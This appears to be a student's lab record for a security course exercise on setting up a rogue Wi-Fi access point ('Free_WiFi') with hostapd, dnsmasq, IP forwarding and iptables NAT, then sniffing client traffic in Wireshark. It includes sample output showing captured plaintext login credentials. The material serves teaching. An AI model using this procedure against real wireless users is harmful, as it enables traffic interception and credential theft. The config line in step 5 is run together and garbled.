PRAVEEN V 241901082

Exercise 17
Create a Rogue Access Point to Capture Data Packets

AIM

To create a rogue access point in an authorized lab environment and capture data packets of a client connecting to it, in order to demonstrate the risk of unauthorized wireless access points.

PROCEDURE

1. Connect a wireless adapter that supports monitor mode/AP mode to the Kali Linux machine.
2. Open a terminal and check the wireless interface:
   iwconfig
3. Stop any network manager services that may interfere:
   airmon-ng check kill
4. Create a configuration file for the rogue access point (rogue-ap.conf) specifying the interface, SSID and channel:
5. interface=wlan0driver=nl80211ssid=Free_WiFihw_mode=gchannel=6
6. Start the rogue access point using hostapd:
   hostapd rogue-ap.conf
7. In a new terminal, configure a DHCP server (dnsmasq) to assign IP addresses to clients connecting to the rogue AP:
   dnsmasq -C dnsmasq.conf

8. Enable IP forwarding on the attacker machine so clients get internet access through the rogue AP:
   echo 1 > /proc/sys/net/ipv4/ip_forward
9. Set up NAT rules using iptables to route client traffic through the attacker's internet interface:
   iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
10. Open Wireshark and start capturing packets on the wlan0 interface to monitor traffic from connecting clients.
11. Wait for a victim device to connect to the rogue AP "Free_WiFi".
12. Observe the captured packets in Wireshark, applying filters such as http or http.request to view unencrypted data sent by the client.
13. Record the client connection details and captured data in the observation table.

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OBSERVATION TABLE

S.No	Step	Tool Used	Observation
1	Rogue AP creation	hostapd	Access point "Free_WiFi" broadcasted successfully
2	DHCP assignment	dnsmasq	Client assigned IP address automatically
3	Client connection	Victim device	Device connected to rogue AP without suspicion
4	Traffic capture	Wireshark	HTTP packets and visited URLs captured
5	Data extraction	Wireshark (http filter)	Login credentials sent in plaintext captured

OUTPUT

hostapd output:

wlan0: AP-ENABLED

Free_WiFi SSID broadcasting on channel 6

dnsmasq DHCP log:

DHCPDISCOVER(wlan0) 00:11:22:33:44:55

DHCPOFFER(wlan0) 192.168.50.10 00:11:22:33:44:55

DHCPACK(wlan0) 192.168.50.10 00:11:22:33:44:55

Wireshark captured HTTP request:

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GET /login HTTP/1.1

Host: testsite.local

Wireshark captured POST data:

POST /login HTTP/1.1

username=victim&password=victim123

RESULT

Thus, a rogue access point was successfully created in the authorized lab environment, and data packets from a connecting client were captured. The exercise demonstrated how an attacker-controlled access point can intercept unencrypted client traffic, including login credentials.